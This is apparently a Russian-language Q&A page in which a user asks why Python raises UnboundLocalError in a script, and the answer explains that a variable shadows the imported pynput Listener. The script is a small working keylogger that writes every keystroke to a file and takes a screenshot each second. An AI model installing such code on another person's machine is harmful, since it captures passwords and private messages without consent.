UnboundLocalError продолжает всплывать, и я не могу понять, почему - PullRequest
1 голос
/ 14 октября 2019

терминал выводит сообщение об ошибке local variable 'Listener' referenced before assignment. Я пытаюсь импортировать слушатель from pynput.keyboard import Listener

Я пытался переписать программу и изменить импорт

import os
import time
from threading import Thread, Timer

from mss import mss
from pynput.keyboard import Listener

class IntervalTimer(Timer):
    def run(self):
        while not self.finished.wait(self.interval):
            self.function(*self.args, **self.kwargs)

class Monitor:    
    def _on_press(self, K):
        with open("./log/keylogs/log.txt", "a")as f:
            f.write("{} \t\t {}\n".format(K, time.time()))    

    def _build_logs(self):
        if not os.path.exists("./logs"):
            os.mkdir("./logs")
            os.mkdir("./logs/screenshots")
            os.mkdir("./log/keylogger")

    def _keylogger(self):
        with Listener(on_press = self._on_press)as Listener:
            Listener.join()

    def _screenshot(self):
        sct = mss()
        sct.shot(output="./logs/screenshots/{}.png".format(time.time()))

    def run(self, interval = 1):
        self._build_logs()
        Thread(target=self._keylogger).start()
        IntervalTimer(interval, self._screenshot).start()

if __name__ == "__main__":
    mon = Monitor()
    mon.run()

это ошибка

    with Listener(on_press = self._on_press)as Listener:
UnboundLocalError: local variable 'Listener' referenced before assignment

1 Ответ

2 голосов
/ 14 октября 2019

Проблема в том, что вы переопределяете Listener в _keylogger. Для объяснения см. Почему я получаю UnboundLocalError, когда переменная имеет значение? в FAQ по Python или Не понимаю, почему UnboundLocalError возникает

Toисправить это, просто измените имя экземпляра Listener. В любом случае экземпляры обычно пишутся строчными буквами.

with Listener(on_press=self._on_press) as listener:
    listener.join()
...